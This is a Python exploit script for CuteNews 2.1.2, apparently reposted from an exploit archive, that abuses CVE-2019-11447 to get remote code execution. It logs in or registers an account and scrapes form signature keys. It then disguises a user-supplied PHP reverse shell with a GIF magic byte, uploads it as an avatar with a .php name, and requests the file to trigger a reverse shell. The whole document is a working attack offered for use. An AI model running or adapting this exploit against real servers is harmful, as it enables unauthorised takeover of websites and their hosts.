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CuteNews 2.1.2 Shell Upload Exploit
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#! /usr/bin/env python3 ## Exploit Title: CuteNews 2.1.2 - Avatar upload RCE (Authenticated) ## Exploit Author: Mayank Deshmukh ## Date: 2021-03-17 ## Vendor Homepage: https://cutephp.com/ ## Software Link: https://cutephp.com/click.php?cutenews_latest ## Version: 2.1.2 ## CVE: CVE-2019-11447 ## CVE Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11447 ## Tested on: Kali GNU/Linux 2020.3 ## Author website: https://coldfusionx.github.io ## Author email: coldfusionx@outlook.com ## Detailed POC: https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE import requests import sys import re import argparse, textwrap #Expected Arguments parser = argparse.ArgumentParser(description="CuteNews 2.1.2 - Avatar upload RCE (Authenticated) by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter, epilog=textwrap.dedent(''' Exploit Usage : ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e cold@decepticon.net ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e optimus@autobots.net [^] Select your PHP file -> rev.php OR [^] Select your PHP file -> ~/Downloads/rev.php [^] Press y/n to trigger reverse shell -> y ''')) parser.add_argument("-l","--url", help="CuteNews URL (Example: http://127.0.0.1)") parser.add_argument("-u","--username", help="Username to Login/Register") parser.add_argument("-p","--password", help="Password to Login/Register") parser.add_argument("-e","--email", help="Email to Login/Register") args = parser.parse_args() if len(sys.argv) <= 8: print (f"Exploit Usage: ./exploit.py -h [help] -l [url] -u [username] -p [password] -e [email ID]") sys.exit() # Variables Host = args.url Username = args.username Password = args.password Email = args.email r = requests.session() ## Use this for Proxy #r.proxies.update( { 'http':'http://127.0.0.1:8080' } ) # Login check def login(): init = r.get(f"{Host}/CuteNews/index.php") cookie = init.cookies.get('CUTENEWS_SESSION') headerscontent = { 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' } cookie = { 'CUTENEWS_SESSION':cookie } postcontent = { 'action' : 'dologin', 'username' : f"{Username}", 'password' : f"{Password}", } login = r.post(f'{Host}/CuteNews/index.php', data = postcontent, cookies= cookie, headers = headerscontent, allow_redirects= False) if 302 == login.status_code: print (f"[+] User exists ! Logged in Successfully") return True # Registering User def register(): headerscontent = { 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' } postcontent = { 'action' : 'register', 'regusername' : f"{Username}", 'regnickname' : f"{Username}", 'regpassword' : f"{Password}", 'confirm' : f"{Password}", 'regemail' : f"{Email}" } registration = r.post(f'{Host}/CuteNews/index.php?register', data = postcontent, headers = headerscontent, allow_redirects= False) if 302 == registration.status_code: print (f"[+] Credentials {Username}:{Password} Successfully Registered") else: sys.exit() # Avatar upload def upload(): keys = r.get(f"{Host}/CuteNews/index.php?mod=main&opt=personal") signature_key = re.search('signature_key" value="(.*?)"', keys.text).group(1) signature_dsi = re.search('signature_dsi" value="(.*?)"', keys.text).group(1) # Grab PHP reverse shell from : https://github.com/pentestmonkey/php-reverse-shell MalFile = input("[^] Select your PHP file -> ") # Adding Magic Byte to PHP file with open(MalFile, 'r') as original: data = original.read() print() print ("[*] Adding Magic Byte to PHP file") with open(MalFile, 'w') as modified: modified.write("GIF8;\n" + data) Efile = open(MalFile, 'rb') headerscontent = { 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' } files = { "mod" : (None, "main"), "opt" : (None, "personal"), "__signature_key" : (None, f"{signature_key}"), "__signature_dsi" : (None, f"{signature_dsi}"), "editpassword" : (None, ""), "confirmpassword" : (None, ""), "editnickname" : (None,Username), "avatar_file" : (f"{Username}.php", Efile ) , "more[site]" : (None, ""), "more[about]" : (None, "") } shell_upload = r.post(f"{Host}/CuteNews/index.php", headers = headerscontent, files = files) # Removing Magic Byte from PHP file with open(MalFile,"r+") as f: new_f = f.readlines() f.seek(0) for line in new_f: if "GIF8;" not in line: f.write(line) f.truncate() if 'User info updated!' in shell_upload.text: print ("[+] Upload Successful !!") print (f"[*] File location --> {Host}/CuteNews/uploads/avatar_{Username}_{Username}.php") print () Trig = input("[^] Press y/n to trigger PHP file -> ") if Trig == 'y': print ("[*] Check listener for reverse shell") shell = r.get(f"{Host}/CuteNews/uploads/avatar_{Username}_{Username}.php") else: print ("[*] Execution Completed") sys.exit() elif 'Error: avatar is not correct' in shell_upload.text: print () print ("[*] Uploading Failed ! Try again") else: sys.exit() if __name__ == "__main__": print ('[+] CuteNews 2.1.2 - Avatar Upload RCE exploit by ColdFusionX \n ') if login() == True: upload() else: register() upload() print ("[*] Execution Completed") # 0day.today [2024-09-28] #